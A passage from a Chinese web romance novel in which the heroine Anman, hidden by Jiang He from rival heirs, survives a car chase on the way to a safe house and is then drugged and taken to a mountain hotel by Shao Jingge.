江赫深吸了一口气,扭头看了一眼,所有人都低下了头,没人敢向她多看。 他脱下外套,盖在安蔓身上,“穿好!” 安蔓低头看了一眼睡裙,没觉得露了什么地方,有点不满,都这么保守了还不行,“你太凶了,好烦。” 江赫长长的吐出了一口气,“你先穿好,我们一起看监控。” 看在他好感满格的份上,安蔓对他的容忍度颇高,心情不错,懒得吵架,披上外套,将头凑过去一起看监控。 监控里,一辆敞篷是红色跑车停在江家门口,毫无动弹,停了一个下午,在晚上接近7点时离开。 监控画面清晰,可以看出跑车里驾驶员的五官。崔英朗清晰的脸出现在屏幕上,他直视监控,手指握着方向盘,表情出乎意料的平静,平均到有点恐怖。 管家说,“江少爷,崔英朗少爷在门口等了很久,一直在给你打电话,但你可能在忙,没有接电话。” 至于具体在忙什么,他不敢多嘴,抬头看了两人一眼。男俊女美,相互依偎着,看起来赏心悦目,简直像是天生一对。 管家摇了摇头:“我告诉崔少爷你不在家了,让他下次再来。” 江赫嗯了一声,“我知道了。” 管家想了想,有点担心,崔英朗那种混世魔王,家里又宠,简直天不怕地不怕,想要的东西一定要得到手,想做的事一定会达成。 他轻声细语,提出担心,“我看他今天这个执着的劲,下次肯定还会来。江少爷,要是你在家还好,你不在家的话,我们可能拦不住他。” 江赫点了点头,“我知道了。” 管家又指了指屏幕一角,上面停着一辆黑色的大众轿车,“崔少爷离开后,这辆车就出现了,我怀疑可能是代替崔少爷,来监视我们。” 江赫表情平静,顺着他指的方向打量了一会儿,那辆小车现在还停在角落,眼力不好的人,很容易将它忽略过去。 他点了点,声音放轻,“我知道了,你先去休息吧。” 管家忧心忡忡, “好的少爷。” 安蔓在旁边看着,越看心越凉,原本高高兴兴的心情,一下子变得胆战心惊起来,怎么搞的,崔英朗这么快就发现了! 她有点怕,总感觉被崔英朗抓到,会发生一些恐怖的事。 安蔓将外套穿牢了一点,拽着江赫的袖子,缩了缩脖子,柔柔将肩膀靠了上去,“好可怕啊,江少爷,怎么办,太吓人了,你可以陪,陪我最近不去上班吗?” 她总担心江赫一走,崔英朗就开车进来,把铁门撞破,不顾私闯民宅,也不顾和江赫的友情,直接把她抓走。 按他飞扬跋扈、嚣张暴戾的性格,这是很有可能发生的! 江赫说,“不行。” 安蔓猛然抬头,眼中泪光楚楚,略含诧异,“不行,你必须在这里,你走了怎么我怎么办,我会被他抓走折磨的!” 江赫垂下眼,声音十分平静,“我会解决这个问题。” 安蔓才发现他的态度有点不对,好感度上去,态度反而疏远。 她回忆了一下,发觉大概是她之前说的那些话的原因,不由撇了撇嘴。怎么这么小心眼,只不过是骂了几句,把这人从前的话还回去罢,太小气了。 她没觉得自己做的不对,软绵绵的抱着他的手臂往上面蹭,一边用明媚漂亮的大眼睛,柔柔的看着他,“那你说怎么办嘛!” 江赫抽了一下手,没有抽开,翡翠绿的瞳孔看着屏幕,声音冷漠,“你被发现了,不适合住在这里。我会帮你换个地方。” “换什么地方?” 江赫淡淡道:“可以避开崔英朗他们的地方。他们找了快一个月,现在发现了线索,肯定不会放过。” 安蔓眨了眨眼,有点苦恼,“什么地方,你会跟我一起来吗?” 江赫掰开安蔓的手,关了监控,一板一眼,十分冷静,“不会,如果我来了,他们会根据我的动向,找到你。” 安蔓为难,“那你一定要给我选个好地方啊,万一选了个荒凉的地方,我肯定受不了。” “嗯。” 安蔓笑了一下,眼波流转,扬了扬嘴唇,瞳孔在灯光下潋滟无比,伸出手,牵了牵江赫的手指,“江少爷,你现在好呆呀,怎么我说一句,你就回一句,那你打算什么时候送我走呢?” 江赫算了一下时间,态度依旧冷漠,“本周内。” 安蔓咬了咬嘴唇,烦死了,她才刚刚开荤,好不容易把人攻略完了,现在工具又要走了。 不过都攻略完了,她也要走了,也懒得管江赫的态度,准备把人物尽其用,在短时间内满足自己一下。 她翘着嘴角,娇声娇气,柔柔的牵着他的手,“好吧,只能这样了,现在这么晚了,我们去睡觉吧。” 江赫被她牵着手,没有挣脱,目光冷冷凝视她。安蔓没心没肺,没有感情,他早就该清楚,“你没有什么想说的。” 安蔓眨了眨眼睛,苦恼的思索了一会儿,把外套扔回给他,穿着细细的吊带,微微扬起唇角,气色极佳的脸上,露出一个不好意思的表情,“你能不能再练练,江少爷你学习能力这么好,我觉得还有很大的进步空间。” 江赫又被气笑了,他冷冷地注视她,感觉心脏被扭成一团,一抽一抽地跳,疼痛难耐,“你脑子里就有这些!” 安蔓牵着他的手,柔顺浓密的黑发垂在身后,跟着她的动作一晃一晃。 她笑容甜甜的,声音很甜,带着疑问,“那你觉得我还能说什么。如果你有什么想告诉我,可以直说。告白就不用了,我知道你喜欢我。” 江赫握着她的手走进房间,房间里那些凌乱的报告、照片、碎掉的茶具和花瓶都被收拾干净,里面所有东西都被换了一遍,焕然一新。 他松开手,走进房间,语调忽然有些沉冷,“那你呢。” 安蔓从后面跟了进来,脸上带着甜甜的笑,细细的睡衣肩带勒着肩膀,雪白的脖颈和胸口露出大片皮肤,隐约可见暧昧的痕迹。 安蔓不明所以,“我什么。” “你喜欢崔英朗吗?” “还行吧。” 安蔓想了想,才明白他的意思,笑容忽然变得有些暧昧,漆黑的眼睛在夜晚的灯光下更深了,伸手捶了他的肩膀一下,“江少爷,你真是拐弯抹角,你想问我是不是喜欢你,直说嘛。” 江赫在原地转定,转身,低头看她,“你的答案呢?” “嗯?” 江赫定定的看着她,“你喜欢我吗?” 安蔓实事求是,“一般。” 江赫深吸口气,即使提前知道答案,心口仍然泛起一阵针扎似的刺痛,她没心没肺,对他毫无感情,一切都是他自作多情! 安蔓,对于他来说,无论是品德还是性格,还有家世来说,无疑是不匹配的。比起他喜欢上这样的人,更让他难堪的是,对方对他毫无感觉。 江赫咬牙,不想看自己变得卑微下贱的样子,“你想睡这里,我就把房间留给你。” 安蔓诧异,摇了摇头,“你的房间有什么好的,空洞洞的,很无聊。我留下来是想跟你睡啊。” 她才不想一个人睡呢!虽然饭是吃饱了,不想再吃了,但是一个人睡孤零零的,安蔓其实有点怕黑,不喜欢一个人,如果有人陪睡的话,那就再好不过了。 江赫长得好看,体温偏凉,肌肉手感不错,无论是从外表上,还是实用性上,都十分让人满意。 安蔓苦恼,仰着头,露出楚楚可怜的眼睛,“不行吗?” 江赫:“……可以。”. 送走安蔓的时间,被定为周三,在这段时间里,崔英朗不是每天都来,但是江家外盯梢的黑车,二十四小时不间断的轮班。 江赫这段时间,大部分时间在家,偶尔去开会。有他在,崔英朗就算再想闯进来,也有几分顾忌,不敢光明正大的闯门。 收到要走的消息, 安蔓懒懒散散地,收拾了一个行李箱,把自己最喜欢的几件衣服珠宝和包包塞到里面,仍然感觉遗憾,抱怨,“空间太小了。” 秘书对这位安蔓小姐难缠,有过体会,笑容满面,表情丝毫不变,“所有东西,到地方了,可以重新再买。” 安蔓摇头,“你不懂,有过一次的东西就没有收藏价值了。” 秘书笑容依旧不变,十分专业,“没关系的,东西留在这里,等以后有机会了随时可以来取。” 安蔓无法一割舍,究竟对江赫的不舍大一点,还是对这些衣服珠宝的不舍大一点,遗憾道,“好吧,你给我说说安排吧。” 秘书:“今天中午十二点,江少爷有个会议,直接到公司。你和江少爷坐同一辆车,直接到公司内部,然后换车走。您要去的公寓地点,在城南,那里很安全,没什么人去,是江少爷的私人房产。” 安蔓没什么意见,把行李箱给他,“好吧。” 她腿还打着颤,没什么力气,浑身懒洋洋的,下楼看到江赫,也只是挥了挥手,慢吞吞打个招呼,“江少爷早上好。” 然后不管他的反应,直接坐在了他旁边,理直气壮的开始吃早餐。 江赫皱了皱眉,没有说话。安蔓知道,对方是又看不惯他的餐桌礼仪了,这个人怎么那么死板,特别重规矩,一见到什么不合眼的东西,动不动就想纠正。 安蔓才懒得理他,她无视了他的眼神,自顾自吃完的早饭,才伸出手,柔柔弱弱的往旁边一靠,“江少,我没力气了。” 江赫表情僵了僵,“还有人在。” 安蔓才不管,“就是你的错,你惹的祸,你要负责。” 江赫咬牙,表情有些僵硬,耳后隐隐有些发热,他没照镜子,不知道自己整个耳朵都红了起,“不要在外面说这些。” “就要说。”安蔓轻哼。 一想到自己马上就要走了,舒缓心情的工具人马上就消失了。她就觉得非常遗憾,不想放过他。所以在这段时间,她和江赫每天都过得乱七八糟,莫名其妙就从各个地方卷到了床上,简直称得上是荒唐。 江赫好几次想阻止,但是总是 莫名其妙的被热浪席卷,冲昏了脑袋。 他不喜欢隐私被别人听到,眉头微拧,还是低下头,将安蔓抱了起来,一路抱到房间,“好了,休息一下,等会就要走了。” 安蔓咬的咬嘴唇,想着马上就要离开了,总觉得有些遗憾,“江少爷,你不觉得就这样走了,很可惜吗。” 江赫眉间跳了跳,“不觉得。” 安蔓轻轻弯了弯嘴角,“真的吗?我今天穿了一条很好脱的裙子。”. 秘书敲了敲门,“江少爷,时间到了。” 门开了,江赫和安蔓走出房间。 不知道是不是秘书的错觉,这两位的脸都非常红,带着丝丝潮意,眉眼勾勾缠缠,像是刚刚做过坏事。 安蔓跟着上了车,秘书在开车,她就坐在后排的椅子上,躺在江赫的怀里,声音娇娇的,“都叫你刚才不要那么用力了,我都没力气了。” 江赫抱着安蔓,“抱歉。” 安蔓理不直气也壮,指责他,“既然是你的错,你要给我负起责来。” 江赫低下头,眼神依旧是冷淡的,但手指已经按上了她的后腰,轻轻揉了起来,“好。” 安蔓舒服的眯起了眼睛,说起来也奇怪,自从攻略完之后,江赫的洁癖就对她不起作用,反而还时不时有意无意的皮肤相贴,简直像是皮肤饥渴一样,动不动就肢体接触。 她被按的舒服,也不跟他计较,懒洋洋地闭目养神,恢复精力。 过了一会儿却,发觉车忽然停下。 江赫抬头,“怎么了。” 秘书从后视镜里看了一眼,他原本以为是柔情蜜意的场合,却发现江赫少爷抱着安蔓,长长的睫毛遮掩住绿色瞳孔,神色在阴影中一瞬间有些暗沉。 他定了定神,收回目光,“有点不对劲,前面封路了。” 第79章 第79章抢夺 79. 安蔓睁开眼睛,发现车被堵在路中间。马路上,前方小车不知为何堵着,搞得这长长一段路里,所有人无法动弹,狂按喇叭。 秘书探头,见车仍然无法移动,自觉下车打探消息,过了一会儿回到驾驶座上,“好像出事了。” 安蔓睁开眼睛,好好的一件事,突然发生意外,总让她有种不好的预感。 秘书打了个电话,了解情况,几分钟后挂掉电话,转头解释,“江少爷,安小姐,不好意思,前面遇见暴乱,执法队把路封了,我们可能要耽搁一会儿。” 安蔓疑惑,“暴乱?” 秘书点了点头,温和解释,“前段时间海关有人走私枪械,被发现时,时间已经有点晚了,流失了一些出去,所以最近到处都在戒严。” 安蔓费力回忆原著里的剧情,确实有这件事,不过是在剧情的后期,在德川组织的一次活动中。 在当时,女主和男主们的关系,因为慕玉泽这个神经病关系,已经闹得很僵。在他的努力下,女主来德川复仇的目标,彻底暴露。 她每个行为都被标上了,别有用心的标签,被所有人排挤,到最后险些被退学最后,勉强跟着参加了这次出行活动,结果就遇上了这场暴乱。 在混乱中,所有身份、地位、等级、隔阂,都烟消云散,女主巧设计谋,躲开暴乱,最后恢复了和大家的友情,并在他们的帮助下成功复仇。 秘书问,“江少爷,我们要等吗。” 江赫看了一眼腕表,淡声道,“下车,绕路走。” 安蔓了解过原著背景,知道一旦封路,随之而来的,是漫长的流程,如果留下来的,说不定要堵一整天。 明明这件事是意外,但不知道为什么,她心理隐约有点不安。 秘书拿出口罩和帽子,递给安蔓,“安小姐,请带上这个。” 安蔓接过,刚想夸奖他准备周全,一转头,就发现江赫也戴上了。 秘书看着她疑惑的表情,笑道,“江少爷平时的出行,其实也并不安全。不光是江少爷,其他几位继承人,日常出行都是被人盯着的,不小心一点,很容易出意外。” 安蔓挑了挑眉,“那么多人想害他吗?” 秘书抿着嘴,笑了一下,像是她问了一个有趣的问题,“没有吗?” 安蔓回忆了一下,江赫好像生活的确实挺水深火热的,爹不爱娘不爱,就连江淮胜这个同父异母的哥哥,都有他的车钥匙。 有了钥匙,做什么见不得人的事也不稀奇。这样想一想,江赫倒真像个身世凄惨的小白菜了。 安蔓想到江淮盛,猛然想到一件事,赶紧拉了拉江赫的手,瞪大了眼睛,“对了,江少爷,差点忘记跟你说了,我答应过江淮盛,要帮他求情的。” 江赫看了他一眼,明明没有任何表情,安蔓却无端感觉他的情绪恶劣下来,“你和他有什么关系?” 安蔓眨了眨眼,轻笑起来,拉着他的手,摇了摇,“江赫,江少爷,我才发现原来你这么善妒,连这种八竿子都打不着的醋也吃。” 她振振有词的解释起来,“我可能和他有什么关系,他长得又不如你,也没你有钱,也没你聪明,我要找,肯定是找和你同档次的人,怎么看得上他呢?” 江赫嗯了一声,别过头,面无表情。 安蔓莫名感觉他的心情又好起来。 她弯着嘴角,轻轻牵着他的手,“他让我帮他求情,接不接受,是你的事。但是我觉得,他也算是我们的媒人,对不对。” 秘书在旁边咋舌,这位安小姐,任性的时候也是真任性,麻烦起来让人头疼,但是哄起人来,也是真有一套。一通话下来,江赫少爷一下子心情就好了。 五分钟后,秘书重新联系了一辆车,换了一条路,“请上车。” 安蔓和江赫都上了车,这次换了一条路,选了一条较为偏僻的小路,车辆较少,畅通无阻。 安蔓原本想这次总该安全了,懒洋洋的靠着江赫,闭目养神。可是心头的预感让她静不下来,总时不时睁开眼睛,观察路面。 看了一会,她发现不对劲了,路面上的车确实少,而且越来越少,旁边却始终有两辆黑车,紧紧跟随。 秘书也发现了,一脚油门将车飙上高速,“少爷,有人跟着。” 安蔓错愕,“是崔英朗吗?” “不是。”江赫眼神冷漠,注视窗外,“是我爸的人。” 话音刚落,紧随右侧的一辆黑车,突然像失控了一样,不受控制地向旁边撞来!秘书紧打方向盘,猛踩油门,险之又险的避开了它,另一辆小车却故伎重施,像是失了控一般,同样撞来! 砰! 四溅的火花中,小车再次险之又险地避开,紧跟着的两辆黑车反而自己撞上,发出巨响。 安蔓晕头转向,差点撞上玻璃,尖叫出声,“啊!” 她怎么会这么倒霉!跑个路而已,怎么还撞上了豪门恩怨现场,这样下去,还不如被崔英朗抓住呢,至少没有人身安全。 江赫表情十分冷淡,却抓住她的手,将她抱在怀里,轻声安慰,“没事,很快就过去了。” 秘书也笑出了声,“没关系,事发突然,他们来不及安排什么人,这两个小喽啰,很容易甩掉的。” 话是这么说,可是接下来也还是经过了一场追逐战,仿佛是电影里的情节,刺激万分。 安蔓只感觉头晕目眩,一路上磕磕碰碰,难受的不行,等终于甩掉了几个人时,她已经被摇晃的晕车,手指撑着门,“呕,等一下,等一下先别开,我想吐,呕……” 江赫搂着她,拍了拍安蔓的背,动作僵硬,表情冷漠,但是拍在她背上的动作十分轻柔,“……很快就好了。” 他转头说,“到前方休息区下车。” 秘书点头,一踩油门,到了休息区踩下刹车,然后下车看了一下车损,“状况还行,但是这辆车估计被江理事长安装了定位,不能用了。” 安 蔓一下车,就直奔垃圾桶,拍着胸口,忍不住一口吐出了早饭,欲哭无泪,她怎么那么倒霉,老是遇到这种事!明明跟她根本没有关系。 江赫跟了上来,沉默片刻,放轻声音,轻声安慰她,“抱歉,是我连累了你。” 安蔓皱起眉头,呕吐的眼睛快泛起了泪花,难受的不行,声音有气无力,“那你要补偿我。” 江赫声音出乎意料的轻,能听得出来是刻意放软了声音,虽然仍然有几分僵硬,“你要什么。” 安蔓眼睛转了一圈,瞬间不难受了,拿纸擦了擦嘴,眼睛亮晶晶的看着他,开始诉苦,“唉,我这种苦命的小女孩,什么都好,就是父母去世的早,很没有安全感。” 江赫:“……你想要什么安全感。” 安蔓弯起嘴角,把纸巾放在手里,扔到垃圾桶,声音瞬间活跃起来,拉长了尾音,软绵绵撒娇,“比如说一些房子,车子啊,存款,这类的东西。” 江赫一听这话,就知道安蔓要狮子大开口。 他有些头疼,屈起手指,按了按太阳穴,面无表情,“具体呢。” 安蔓表情可怜,眼睛因为刚才的呕吐,带着点泪花,轻轻一眨,坠了下来,楚楚动人,“具体比如一些市中心的房子,全球限量版的超跑,七、八位数的存款之类的。” 江赫听笑了,这是敲诈的明明白白,抓住机会向他伸手呢,大捞一笔呢! 他额间轻跳,刚才的心软瞬间没了,半天说不出话来,半晌,冷冷道,“可以。” 安蔓惊喜,“真的吗?” 江微面无表情,“我有个条件。” “你说?”安蔓专注的看着他。 江赫冷声道,“和我结婚,不仅有这些条件,还能有江家的一半财产。” 安蔓震惊,“什么?” 系统惊叫:“不可以!” 安蔓抿着嘴,眼睛泪光闪闪,晶莹剔透,抱怨,“为什么不行!我好心动。” 系统大声念经,“我们是正经系统,这是正经攻略,要富贵不能淫,贫贱不能移,不许搞那些歪风邪气!” 安蔓哼了一声,“这哪是什么歪风邪气,我就心动一下不行吗,这谁能抵抗得住诱惑!” 系统义正言辞,“不行就是不行,现在不行,等你攻略完,才能选!” 安蔓突然不说话了,闭上嘴,有些惊讶的看着他。表情还是那么漂亮,明媚的眼睛扑簌簌的,有些茫然。 江赫吩咐秘书,“你陪着安蔓小姐,我出去一趟。” 他不需要立刻得到回复。 安蔓重利,寡情,没心没肺。 想要留住她,只能用这样的手段。 江赫痛恨自己下贱,居然要用这么卑劣的手段,自甘堕落。 他想让安蔓滚,但一开口,另一串话滑了出来,“你不用答复我,时间还长,可以慢慢考虑。” 江赫离开休息区,报了警,上报了今天的事故,联系公司,推迟了会议时间。 回到休息区,却发现秘书闭眼昏迷,歪倒在长椅上。 安蔓不见了. 安蔓睁开眼时,闻到了一阵清晰的皮革味,身体在晃动,喉咙发干,头晕目眩。她睁开眼,发现自己躺在一辆跑车后座上。 跑车平稳行驶在公路上,车内没有任何装扮,配饰简单无聊,不过喷了香水,味道清雅、素淡,混着木质的辛辣。 车载电台里,有人在怒气冲冲说话。 “韶景戈,你发什么疯!我看你是脑子有病,想和你弟弟一样给人做狗。我说过她是我的!” “哥,你把她带到哪里去了?听到留言记得回我电话。” 滴—— 韶景戈按了静音,看向后视镜,轻轻一笑,“你醒了。” 第80章 第80章无辜 80. 崔家。 韶景荻坐在沙发上,再次给兄长打电话。 第一遍,没人接。再打,显示关机。 他揉了揉头顶,继续留言, “哥,安蔓小姐醒了吗?” “听到留言一定要联系我。” “你不要冲动,千错万错都是我的错,有事好商量。” 崔英朗端着水杯,坐在一边。 他最近状态十分糟糕,黑眼圈,红血丝,脸色憔悴,瞳孔带着几分阴戾,闻言,嗤笑一声,“有意思。” 韶景荻顿时有点尴尬。 生日会那天两个人一顿互殴,他多少存着一点明争暗斗的心思,结果谁也没讨着好,伤药还没上完,他就接到消息。安蔓跑了。 她惹完事,就这么不负责任的跑了。饶是韶景荻也忍不住牙痒痒。 他们找人的时候,也隐隐较劲,都知道先找到的人,肯定拥有更多的主动权。一方面找,一方面还要防着彼此。 韶景荻其实早就找到了安蔓的位置,只是江赫看得紧,一直没找到下手机会。直到今天,终于趁机把人带出来了。 ——结果一直兴趣乏乏,表现平平的韶景戈,突然反水,把人带走了! 崔英朗似笑非笑,表情平静得有些吓人,深金色的瞳孔仿佛酝酿风暴,“你们这对兄弟,真有意思。” 韶景荻卷发柔软,笑眼弯弯,灰瞳宁静,仿佛没有听出他的嘲讽,“谢谢崔少夸奖。” 崔英朗无动于衷地看他一眼,眼中的红血丝更深了,他最近脾气不好,心情烦躁,睡眠差,控制不住情绪。 他站起来,差点一脚踹翻沙发,没一个好消息!抬眼时,透过落地窗,看到楼下的崔元戴的几个私生子,穿着新制服走进来。 制服有点眼熟,像是崔英朗批量定制的个人款,袖口有金线刺绣。他最近不在,一个两个都敢登堂入室了。 崔英朗往嘴里扔了一块水果糖,咧开白齿,坚硬的牙齿咬下,发出令人毛骨悚然的咯咯声,“我出去一下。” 韶景荻让人调取路边监控:“好。” 两人出乎意料的平静,倒是没动手。 安蔓没在这,打不起来。 打起来没意思,当务之急是把人找到。 韶景荻调取监控,发现兄长十分谨慎,该避开的地方都避开了。 视频影像从离开休息区没多久,就断掉了,后面大概是换车了。 楼下突然传来几声惊慌尖叫,男女都有,清脆的玻璃破碎声中,交杂了几声求饶惨叫。 韶景荻皱了皱眉毛,调取定位,不出所料,兄长把他身上的定位也关了。 线索在这里断了。 手机突然响了,韶景荻拿起一看,来电显示[江赫]。他接通了,扑面而来的是尖锐的质问,“你们把她带走了?” 韶景荻心情不好,松了松领口,轻笑,“什么意思,我没听懂啊。” 江赫却仿佛笃定他们是罪魁祸首,语气冰冷之极,“你知道她生病了吗?” 韶景荻有些发愣,没反应过来,嘴角还是带着习惯性的微笑,死不承认,“你说的是校花小姐吗,我可没带走她,跟我无关。” 江赫冷笑一声,也不装了,声音一字一句,“她生病了,是重病!在我这里时一直不肯去医院,我本来想趁这次机会,让她再做一个全面检查。” “报告发给你了,你自己看吧。” 韶景荻一挑眉,打开他发过来的报告,逐一看下来,脸色渐渐阴沉,“……这是真的?” “她在哪。”江赫问。 韶景荻原本并不担心,他和韶景戈,一母同胎,自小双生,一切都是一致的。 他不会害对方,韶景戈也不会害他,安蔓在对方手里,他虽然不高兴,但还能接受。 现在他的语气不再自信,还有点茫然,“我不知道,我哥把她带走了。他把所有联系方式都关了。”. 跑车行驶在公路上,车窗外的风景飞速后退。 韶景戈在开车,头也没回,“车上有水,自己喝。” 安蔓有点头痛,被发现后索性不装了,坐起来,伸出纤细的食指,轻轻按压太阳穴,头眩眼花。 她还没搞清现状,确实有点渴,拿了一瓶矿泉水,拧开盖子,突然反应过来。 昏迷前最后的记忆是,她口渴,秘书去服务区买了两瓶水,一人一瓶。喝完后感觉有点困,然后就睡着了。 安蔓鸡皮疙瘩都起来了,捏着水瓶,怒道,“你们在水里下了药,然后把我迷晕了绑架?” “你是不是有病,脑子有问题就去看医生啊!” 韶景戈在开车,并不生气,轻笑,“反应还挺快的。” 安蔓生气,想也没想地把手里的瓶子扔出去,“你有病啊!” 手中矿泉水瓶横飞出去,哐当一声砸到了车顶,掉到韶景戈头上,里面250毫升的水全泼了出来! 哗啦。 韶景戈的头发,脸颊,衣领全部湿透了,睫毛湿漉漉的 粘在一起,碎玉似的水珠滚落在鼻尖、下颚、唇角。 他白皙隽秀的脸也湿透了,漆黑湿润的头发贴在侧脸,那种养尊处优、金尊玉贵的大少爷,落汤鸡一样,形象全无。 小车歪了一下,差点飞出跑道! 韶景戈把住方向盘,眼神有一瞬间变狠,他在开车,不方便擦脸,只能就着这个姿态,吸了一口气,语气优雅,“安蔓小姐,小心一点。” 安蔓有点心虚,随即又理直气壮,她怎么知道自己扔的那么准。 而且这又不是她的错! “你为什么要绑架我,你要带我,去找崔英朗吗?我手机呢,还给我,快让我下车,不然我报警了!” 韶景戈语气闲适:“我不知道你的手机在哪,但我能确定,你不得不暂时跟着我了。” 安蔓吸取教训,公路上攻击驾驶员,非常危险,搞不好一车两命。 她左顾右盼,试图确定这是哪,顺便寻找趁手的工具。 找了一会,突然发现这辆车有点眼熟。 ——是狂欢日结束那天,韶景戈开的车。 当时他装成弟弟骗她。 两个人还在车上磨、蹭、吃奶。 安蔓想起这件事,脑子更清醒了,那种回忆对现状毫无改善,反而让她百思不得其解,“我记得我没和你做对过啊。” 吃奶的事,算什么作对! 顶多假装把他当成韶景荻,踩踏、玩弄了一番。 韶景戈身上还在滴水,表情已经平静许多,语气依旧斯文,彬彬有礼,“安蔓小姐,我们确实没仇。不过你和我弟弟之间,就不一定了。你可能不知道,我弟弟从小身体不好,动辄住院,好几次差点没挺过来,我们全家都很珍惜他、爱护他,希望他快乐。” 他稍稍停顿了一下,略略斟酌,继续说下去,“我向他承诺过,如果你们的事过分了,我会出手。而现在,我认为你现在对他的影响,弊大于利,有必要将你们分开,冷静冷静。” 安蔓听明白了,韶景戈这个弟控,认为她即将伤害到——或者已经伤害到他脆弱的弟弟。 所以他要把她带走,消灭她这种不利因素。 安蔓忽然有点心虚,又有点生气,虽然她勾引韶景荻、掐他、玩他、利用他、让他赤壁,还导致他被崔英朗按进泳池殴打。 但那是韶景荻心甘情愿的啊!怎么能怪在她身上! 80-90 第81章 第81章人情 81. “你这是治标不治本,管好你弟弟不是更轻松吗!”安蔓生气。 韶景戈开着车,透过后视镜看了一眼,沉吟,“因为他陷的有点深。” 所以,管不住了。 还因为人数有点多了,江赫、崔英朗、韶景荻……个个都是大麻烦。 不如从她这个罪魁祸首下手。 安蔓看懂了他的眼神,抿了抿嘴唇。 关她什么……好吧确实关她的事。 但那又怎么样,搞不定弟弟,只能来搞她,真是个没用的废物哥哥。 安蔓烦躁了,又开了一瓶水,小口小口地喝,润了润喉咙消火,“那你到底想怎么样。” 韶景戈抬手抹了一把额上的水,潮湿的黑发紧贴着他白皙的额头,一边开车一边抽纸擦拭脸上的水渍,平静道,“安小姐,请不用担心,我没打算对你做什么。只是想邀请你去我的私人别墅,暂住几月,等我弟弟兴趣过了就好。” 安蔓打开好感度看了一眼,韶景荻的好感高达【80】。 这个数字,基本是固定在这了,已经很久没有变动。 完全不可能在几个月后失去兴趣。 安蔓伸出手指揉了揉额,冷笑问,“如果几个月后,他还是对我情根深种、一往情深呢。” 韶景戈风度翩翩,从容不迫,“那就是我的事了。” 安蔓懂了,意思是他会在这几个月,尽量消除她对他弟的影响,努力消减好感,让弟弟移情别恋。 她有点恶寒,虽然这对兄弟亲密无间,两人从来没有隐私,但是这种什么都要插一脚,什么都要管的兄弟关系,真的有点变态了。 难怪原著说,想要和他们交友,不能只专注一个,要同时征服两人,才能得到他们的友情。 安蔓难以忍受,挺直了背,“虽然你们是双胞胎,但是你们两也是不一样的个体,你凭什么干预你弟弟!” 韶景戈轻笑,“干预他什么?当小三的权利吗。” “如果你现在答应我,和其他人分手,只对他专一,不和别人暧昧,我就送你回去。” “你做得到吗?” “……” 安蔓闭嘴了,她还真做不到! 韶景戈摇了摇头,像是早有预料,“我知道了。” 安蔓微微头晕,白脸泛粉,只能靠着窗户,缓解不适,心里狠狠唾骂这对神经兄弟。 她有种预感,就算她撒谎说能,对方也不会相信,书里说过了,他们对彼此的一切都是共享的,基本没有秘密。韶景荻看起来也没有刻意隐瞒,作为他的双胞胎哥哥,想必对两人发生的事了如指掌。 不过这种共享,在亲情中可以,在友情中也行,但是在男女关系上就非常怪异了。 作为一个哥哥,他对弟弟的感情生活,未免也太有占有欲了。 安蔓想了想,还是试探,“韶会长,你插手你弟弟的感情,不怕他生气吗。” 驾驶座上的韶景戈也没抬,这位风纪会会长即使湿了头发,在这种情况下也显得风度十足,“韶景荻开始会生气,但后面,他会理解我。” 虽然风度翩翩,但油盐不进。 接下来的路程,他不说话了,将车开进半山腰的酒店,开入了员工通道。 车一停下,立刻有酒店管理人员,小跑上前,打开车门,鞠了个躬,“少爷,您来了。” 韶景戈嘴角带着淡淡的微笑,亲和又礼貌,对他点了点头,“房间安排好了吗。” 经理笑容灿烂,从他手里接过钥匙,扔给泊车小弟,“准备好了,开了顶楼的房间。” 韶景戈下了车,夸奖,“不错。” 他绕道后车,开了门,彬彬有礼地向内伸出手,“下车吧,安小姐。” 安蔓蹙眉,“你不是说,去别墅吗?” 韶景戈微微一笑,柔声细语,令人如沐春风,哄人似的,“没错,但现在不方便立刻把你带到那里,容易被人发现。大概要委屈你在这里住个几天。” 安蔓深吸了一口气,走下车,没理他。 韶景戈的手尴尬的悬在半空,被冷落了,也不生气,自然地收了回来,“走吧,先上电梯。” 经理眼都不抬,大概是提前商量过,他谨慎地管住了自己的嘴,开口,“少爷,请跟我来。” 韶景戈扯了扯领子,头发还有点湿,他不算洁癖,但也喜洁,不适应这种黏糊糊的感觉,“送一套新衣服过来。” 经理,“是。” 安蔓没管他们,也没跟上去。 在四处打量环境,一路上晕头转向,都忘记观察路面,她完全不能确定这是哪在哪里,只知道是半山腰上的一座度假酒店。 这段时间她一直在德川,即使出行,也离开不远,完全分辨不出方向。没有手机,连时间都只能预估大概。 她蹙起眉,漂亮的脸上有点不满,黑眼睛观察路面,思考逃跑方向。 韶景荻不紧不慢的声音从身后传 来。 “你没有手机,外面全是公路,这个时间,也没什么人。就算逃跑,也只能用脚走下山。” 安蔓面无表情,转过了身,眉间不爽,“知道了。” 可惜,从前没怎么接触韶景戈,对他了解不深。 她满脑子转着搞破坏的念头,只是初来乍到,情况不明,不方便实施。 安蔓进了电梯。 韶景戈微微低头,深灰色的眼睛垂下,不动声色看了她一眼。 安蔓怏怏不乐,但是没吵没闹,低着头,不知道在想什么,看起来出乎意料的温顺。本来以为她会闹一下,虽然就这么接受了现实。 韶景戈略略诧异,表情温和,声音如春风化雨,“别担心,我没打算对你做什么。” “这段时间,有什么想吃的,想玩的,尽管告诉我。只要不过分的我都会满足。” 安蔓低着头,爱搭不理,“哦。” 韶景戈体谅她的心情,微微一笑,注视着电梯上行的数字。 叮—— 电梯忽然开了,从外面走进一个顾客。 这家电梯专供特设,只有入住顶楼套房顾客可以使用。 安蔓头也不抬,心不在焉,谁知道那个顾客走进来之后,径自停在两人面前,“景戈少爷,安小姐,这么巧。” 安蔓猝然抬头,进来的居然是一个“熟人”。 云元奇真觉得挺巧的,他只是准备参加一场宴会,恰好这个时间办理入住,就遇到了这两位少爷小姐。 这段时间,几个人的流言闹得甚嚣尘上,沸沸腾腾,安蔓更是很久没有露面。有传言她被崔英朗囚禁了,有人说她骗了几个人的钱、被揭穿后卷款跑路,悄悄跑国外了,导致到处都在抓她。 云元奇对安蔓很有好感,但他也曾经亲手将她送到韶家,换取一个人情,最后兜兜转转,勉强也算和韶家搭上了线。 所以在酒店遇到这两个人,十分惊讶,“两位是来度假的吗。” 安蔓猝然抬头,微微翘了翘嘴角,眼睛闪闪发亮。 她还记得对方欠他一个人情,这不巧了,现在就是兑现的时候。 第82章 第82章哥哥 82. 安蔓退后一步,靠在韶景戈身边,忽然揽住他的手臂,“没错,我和韶景戈少爷一起出来玩。” 云元奇更加惊讶,这段时间外面都闹翻天了,就为了找出安蔓。 原本以为,只有韶景荻这个性格顽劣的小少爷和安蔓有一腿……没想到他哥哥也一样。 云元奇斟酌开口,“是这样吗。” 